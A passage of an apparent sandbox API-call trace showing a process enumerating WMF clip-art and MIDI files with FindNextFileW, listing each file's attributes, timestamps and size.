ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01191_.WMF", cAlternateFileName="")) returned 1 [0218.963] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf2a4e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x488, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01193_.WMF", cAlternateFileName="")) returned 1 [0218.963] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf2a4e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x91c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01196_.WMF", cAlternateFileName="")) returned 1 [0218.963] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x284c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01548_.WMF", cAlternateFileName="")) returned 1 [0218.964] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf2a4e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x76ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01657_.WMF", cAlternateFileName="")) returned 1 [0218.964] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4604, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01658_.WMF", cAlternateFileName="")) returned 1 [0218.964] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x79cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01659_.WMF", cAlternateFileName="")) returned 1 [0218.964] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x329e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01660_.WMF", cAlternateFileName="")) returned 1 [0218.964] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02068_.WMF", cAlternateFileName="")) returned 1 [0218.964] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x88c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02071_.WMF", cAlternateFileName="")) returned 1 [0218.964] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02075_.WMF", cAlternateFileName="")) returned 1 [0218.965] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe70, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02088_.WMF", cAlternateFileName="")) returned 1 [0218.965] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02097_.WMF", cAlternateFileName="")) returned 1 [0218.965] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf2a4e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf2a4e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1234, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02115_.WMF", cAlternateFileName="")) returned 1 [0218.965] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf2a4e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf2a4e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf94, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02116_.WMF", cAlternateFileName="")) returned 1 [0218.967] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf2a4e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf2a4e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02141_.WMF", cAlternateFileName="")) returned 1 [0218.967] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf2a4e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1510, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02153_.WMF", cAlternateFileName="")) returned 1 [0218.967] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf2a4e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf2a4e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02158_.WMF", cAlternateFileName="")) returned 1 [0218.967] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf2a4e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf2a4e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02161_.WMF", cAlternateFileName="")) returned 1 [0218.968] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf2a4e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf2a4e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FINCL_01.MID", cAlternateFileName="")) returned 1 [0218.968] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf2a4e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2466, dwReserved0=0x0, dwReserved1=0x0, cFileName="FINCL_02.MID", cAlternateFileName="")) returned 1 [0218.968] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x816, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLAP.WMF", cAlternateFileName="")) returned 1 [0218.968] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRDEN_01.MID", cAlternateFileName="")) returned 1 [0218.968] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRID_01.MID", cAlternateFileName="")) returned 1 [0218.969] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00057_.WMF", cAlternateFileName="")) returned 1 [0218.969] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00084_.WMF", cAlternateFileName="")) returned 1 [0218.969] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00231_.WMF", cAlternateFileName="")) returned 1 [0218.969] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00235_.WMF", cAlternateFileName="")) returned 1 [0218.969] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00236_.WMF", cAlternateFileName="")) returned 1 [0218.970] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00241_.WMF", cAlternateFileName="")) returned 1 [0218.970] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00260_.WMF", cAlternateFileName="")) returned 1 [0218.970] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00276_.WMF", cAlternateFileName="")) returned 1 [0218.970] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00334_.WMF", cAlternateFileName="")) returned 1 [0218.970] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xce2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00443_.WMF", cAlternateFileName="")) returned 1 [0218.970] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00513_.WMF", cAlternateFileName="")) returned 1 [0218.970] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00524_.WMF", cAlternateFileName="")) returned 1 [0218.970] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x34e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00526_.WMF", cAlternateFileName="")) returned 1 [0218.971] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00527_.WMF", cAlternateFileName="")) returned 1 [0218.971] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe86, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00546_.WMF", cAlternateFileName="")) returned 1 [0218.971] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00601_.WMF", cAlternateFileName="")) returned 1 [0218.971] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00602_.WMF", cAlternateFileName="")) returned 1 [0218.971] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3158, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00612_.WMF", cAlternateFileName="")) returned 1 [0218.971] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2994, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00623_.WMF", cAlternateFileName="")) returned 1 [0218.971] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x844, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00625_.WMF", cAlternateFileName="")) returned 1 [0218.972] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x620, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00636_.WMF", cAlternateFileName="")) returned 1 [0218.972] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ce2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00669_.WMF", cAlternateFileName="")) returned 1 [0218.972] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2454, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00681_.WMF", cAlternateFileName="")) returned 1 [0218.972] FindNextFileW (in: 